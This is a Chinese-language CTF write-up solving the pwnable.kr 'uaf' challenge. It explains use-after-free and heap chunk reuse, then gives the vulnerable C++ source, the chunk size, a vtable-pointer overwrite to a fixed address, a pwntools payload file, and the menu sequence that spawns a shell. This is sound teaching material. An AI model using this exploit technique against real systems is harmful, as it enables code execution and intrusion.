目測是比較接近pwnable的一道題。考察了uaf(use after free的內容),我覺得說白了就是指針沒有初始化的問題。
ssh uaf@pwnable.kr -p2222 (pw:guest)
先看一下代碼
#include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; }
很明顯的是有虛函數的繼承,內存的申請,內存的釋放,利用思路就是改函數的虛表地址達到執行命令的作用。
執行的命令也不用寫shellcode,源代碼中的getshell函數就可以用。
首先,UAF是個啥,名字叫Use-After-Use,就是釋放后重用,是堆上的一種漏洞,就是在把申請的內存釋放后,指向之前內存的指針沒有重置為NULL,導致該指針還能訪問原來的內存。
這道題也是一樣。當釋放了w、m后,當再次調用w、m指針就會出問題。
當然直接調用時不會重新執行w->introduct函數的,這是因為堆塊會有分配和未分配兩種狀態,在狀態轉換時會修改堆塊內容。
當然,linux在堆分配中有一種快速分配機制,導致了該程序存在的漏洞。
詳細可以參考《C和C++安全編碼》一書。
在這道題中,如果想利用堆快速分配的機制,需要請求分配的堆塊大小是一樣的,即argv[1]=sizeof(Women)
這個大小可以再匯編代碼中找到
0x18 = 24 所以argv[1]=24
通過跟蹤分配可以跟蹤到虛表的內容,具體跟蹤如下圖:
可以發現,虛表地址是位於結構體內存的最前面8個字節。而函數的調用就是這個虛表指針+偏移
比如Human->give_shell 就是 vTable_ptr + 0
因此,僅需修改一個指針即可,再看修改位置,read函數是從argv[2]所指的文件中獲取,所以要把這個地址寫到文件中,並且不需要填充。
寫的內容需要調用give_shell函數,由於函數后來要調用introduce函數,地址是 vTable_ptr + 8,因此將虛表指針改寫為0x401588即可。
先寫一個/tmp/p4nda文件,內容是0x401588:
from pwn import * addr = 0x401588 f = open('/tmp/p4nda',"wb") f.write(p64(addr)) f.close
再順序執行3->2->2->1即可
note:執行兩次2的原因是分配的順序是后釋放先分配,而函數執行的順序恰好是反過來的,因此需要執行兩次,讓m指針也被分配就可以了。